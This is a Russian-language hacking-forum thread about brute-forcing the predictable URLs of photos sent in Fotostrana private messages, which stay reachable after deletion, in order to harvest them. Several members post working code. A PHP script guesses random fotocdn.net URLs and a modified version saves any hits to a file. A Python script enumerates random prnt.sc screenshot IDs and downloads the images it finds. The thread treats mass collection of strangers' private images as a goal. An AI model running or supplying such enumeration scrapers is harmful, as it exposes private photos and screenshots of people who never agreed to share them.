Брут и парсинг фотографий с фотостраны

Discussion in 'Веб-уязвимости' started by blackknight, 1 Feb 2018.

  1. blackknight

    blackknight New Member

    Joined:
    8 Nov 2017
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Привет народ.
    В общем,есть такая задача:
    К примеру,нужно попробовать пропарсить фотографии с ЛС пользователей фотостраны
    Как выяснилось,после отправки фото в личных сообщениях ссылка приобретает такой вид :
    https://iAA.fotocdn.net/sBB/CCC/messenger_m/DDD/EEEEEFFFFF.jpg
    AA - число от 00 до 11
    BB - число от 23 и обычно до 29
    CCC - числа от 150 до 255 обычно
    DDD - числа от 200 до 255 обычно
    EEEEE - число юзера,которому (или от кого) адресовано фото
    FFFFFF - тоже рандомное число,но растущее
    Причем фото по ссылке после удаления остается доступным,даже если оно из личных сообщений
    (пример: https://i07.fotocdn.net/s28/157/messenger_m/245/2689660060.jpg )
    Есть ли способ брутануть и пропарсить изображения при помощи каких либо алгоритмов (перебор всех рандомных чисел в ссылках) и каким образом это можно осуществить.
    Знаю,задача тяжелая (т.к может существовать over9000 кол-ва вариантов ссылок) но все же

    #1A moment ago
     
  2. devton

    devton Banned

    Joined:
    26 Oct 2007
    Messages:
    2,766
    Likes Received:
    3,478
    Reputations:
    40
    700000х(FFFFFF - тоже рандомное число,но растущее)
    сложность порядка "заибёшься"
    wget тебе в помощь
     
  3. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    832
    Likes Received:
    805
    Reputations:
    90
    брутить можно что угодно

    это тер вер, влом вспоминать, если коротко

    x = AA * BB * CCC * DDD * EEEEE(hex?) * FFFFFF(hex?)
    y = время_одного_запроса_к_серверу * x
    если "y" для тебя приемлемо - бруть
     
    _________________________
  4. devton

    devton Banned

    Joined:
    26 Oct 2007
    Messages:
    2,766
    Likes Received:
    3,478
    Reputations:
    40
    в 2 раза обсчитался 450000х(FFFFFF - тоже рандомное число,но растущее)

    )))) ну кто ж в 1 поток брутит....можно сократить время в p раз , где р - количество потоков
     
    #4 devton, 2 Feb 2018
    Last edited: 2 Feb 2018
  5. blackknight

    blackknight New Member

    Joined:
    8 Nov 2017
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Ахаха)
    Да не,это не hex числа)) Я просто латинскими буквами цифры пронумеровал для удобства ( вместо "FFFFF" может быть , 89472 или 89654,ну ясна суть же)
    Я не собираюсь абсолютно все числа брутить с 0,до 999
    То есть у меня есть определенные критерии чисел,которые я собираюсь брутить
    Нужно как то реализовать метод перебора этих самых чисел,допустим,использовать алгоритм
    Я пытался уже составить что то в этом роде с помощью программы loginpassgenerator
    Но там через 5 минут работы выходит txt файл на 1 ГБ
    А эти ссылки ещё нужно как то парсить ( думал использовать download master,но у него из-за проверки доступности на ссылку целых 5 сек уходит)
     
  6. ms13

    ms13 Level 8

    Joined:
    19 Jun 2015
    Messages:
    2,152
    Likes Received:
    9,317
    Reputations:
    110
    curl и xargs, парсить/grep' ать регуляркой, например
     
  7. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    832
    Likes Received:
    805
    Reputations:
    90
    так и в чем проблема? с технической точки зрения это реализовать не сложно
    если ты хочешь чтобы это сделали за тебя - так не бывает
    если нужен совет - конкретизируй
    любой язый программирования в полной мере поддерживает работу по http протоколу(кроме конечно perl6, засранцы облажались просто на ровном месте), изучи хотя бы один
     
    _________________________
    grimnir likes this.
  8. blackknight

    blackknight New Member

    Joined:
    8 Nov 2017
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Я просто хотел узнать,есть ли готовые решения этой задачи,может кто то уже занимался этим вопросом)
    Я как то давно видел что то в этом роде,но это было посвящено вконтактику.

    В общем то
    Каким образом можно написать алгоритм,что бы он перебирал варианты,в заданых мной пределах,и желательно бы,чтобы эта программа работала на сервере.,допустим и сохраняла результат на FTP (хотя,это не так уж и важно))
     
  9. devton

    devton Banned

    Joined:
    26 Oct 2007
    Messages:
    2,766
    Likes Received:
    3,478
    Reputations:
    40
  10. ShpillyWilly

    ShpillyWilly New Member

    Joined:
    27 Sep 2012
    Messages:
    78
    Likes Received:
    3
    Reputations:
    0
    content downloader в помощь
     
  11. WVBR

    WVBR Elder - Старейшина

    Joined:
    14 Feb 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    0
    ggf89ead4148.gif

    Code:
    <?php
    error_reporting(E_ALL);
    /*
    https://i07.fotocdn.net/s28/157/messenger_m/245/2689 660060.jpg )
    https://i07.fotocdn.net/s29/24/messenger_xl/109/2701 552663.jpg
    https://i08.fotocdn.net/s29/102/messenger_xl/415/2701631077.jpg
    */
    $count=0;
    $ya=false;
    while (!$ya){
    $url="https://i0".rand(0,9).".fotocdn.net/s".rand(23,29)."/".rand(10,255)."/messenger_xl/".rand(100,900)."/".rand(1000,9999)."".rand(10000,999999).".jpg";
    echo "<a target=_blank href=$url>$url</a>";
    if (@fopen($url, "r")) {
    echo " Файл существует"; 
    $ya=true;
    } else {
    echo " Файл не найден";
    }
    echo "<br>";
    $count++;
    if ($count>5) exit;
    //sleep(1);
    }
    ?> 
    
     
    _MiRoN_ and blackknight like this.
  12. blackknight

    blackknight New Member

    Joined:
    8 Nov 2017
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Спасибо.Разобрался как скрипт работет)
    Вот парсил бы он еще найденные файлы на ftp,было б вообще шикарно)
     
  13. _MiRoN_

    _MiRoN_ New Member

    Joined:
    24 Mar 2009
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Немного доделал скрипт :
    1.Если ссылка актуальна он записывает ее в save.txt
    2.Генерирует за раз 50 ссылок
    3.Обновляет страницу каждые 5 секунд (типо автоматизация =) )
    Но пока не одной актуальной ссылки не нашел .
    Code:
    <?php
    error_reporting(E_ALL);
    /*
    https://i07.fotocdn.net/s28/157/messenger_m/245/2689 660060.jpg )
    https://i07.fotocdn.net/s29/24/messenger_xl/109/2701 552663.jpg
    https://i08.fotocdn.net/s29/102/messenger_xl/415/2701631077.jpg
    */
    header("refresh: 5;");
    $count=0;
    $ya=false;
    while (!$ya){
    $url="https://i0".rand(0,9).".fotocdn.net/s".rand(23,29)."/".rand(10,255)."/messenger_xl/".rand(100,900)."/".rand(1000,9999)."".rand(10000,999999).".jpg";
    echo "<a target=_blank href=$url>$url</a>";
    if (@fopen($url, "r")) {
    echo " yes";
    $file = "save.txt";
    $rez = $ya;
    //file_put_contents($file, $url);
    file_put_contents($file, PHP_EOL .$url , FILE_APPEND);
    
    $ya=true;
    } else {
    echo " nooooooooooooo";
    }
    echo "<br>";
    
    
    $count++;
    if ($count>50) exit;
    //sleep(1);
    }
    ?>
    
     
  14. Pirnazar

    Pirnazar Active Member

    Joined:
    28 Apr 2018
    Messages:
    143
    Likes Received:
    128
    Reputations:
    5
    Я тоже сделал такой скриптик на питоне для сервиса https://prnt.sc/
    Зависимости:
    pip3 install requests bs4
    Code:
    import requests as rq
    import random
    from bs4 import BeautifulSoup
    
    
    
    headers={
        'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'
    }
    chars_mix="qwertyuiopasdfghjklzxcvbnm1234567890"
    chars="qwertyuiopasdfghjklzxcvbnm"
    n=int(input("Number of url's:"))
    
    
    for k in range(1,n+1):
        
        url='https://prnt.sc/'+random.choice(chars)
        for i in range(5):
            url+=random.choice(chars_mix)
              
        page=rq.get(url,headers=headers)
        page=BeautifulSoup(page.text,"html.parser")
        photo=str(page.find("meta",{"name":"twitter:image:src"}))
    
        photo_url=photo
        if photo_url[15:17]=="//":
            print (str(k)+")",url,"removed")
            
        elif photo_url[23:28]=="i.img":
            try:
                f1=rq.get(photo_url[15:46])
                filename=str(url[16:22])+".png"
                open(filename,"wb").write(f1.content)
                print (str(k)+")",url,"imgur saved")
                
            except:
                print(str(k)+")",url,"imgur not saved")
            
        elif photo_url[69:73]==".png":
            f1=rq.get(photo_url[15:73])
            filename=str(url[16:22])+".png"
            open(filename,"wb").write(f1.content)
            print (str(k)+")",url,"saved")
            
        elif photo_url[79:83]==".png":
            f1=rq.get(photo_url[15:83])
            filename=str(url[16:22])+".png"
            open(filename,"wb").write(f1.content)
            print (str(k)+")",url,"saved")
     
    _MiRoN_ likes this.
  15. _MiRoN_

    _MiRoN_ New Member

    Joined:
    24 Mar 2009
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Pirnazar likes this.
  16. Pirnazar

    Pirnazar Active Member

    Joined:
    28 Apr 2018
    Messages:
    143
    Likes Received:
    128
    Reputations:
    5
    Надо еще написать для сервиса uploads.ru :)
     
    _MiRoN_ likes this.
  17. _MiRoN_

    _MiRoN_ New Member

    Joined:
    24 Mar 2009
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    туда не могу фото загрузить ,пишет что новые фото не допускаются
    Какой вид ссылок там?
     
Loading...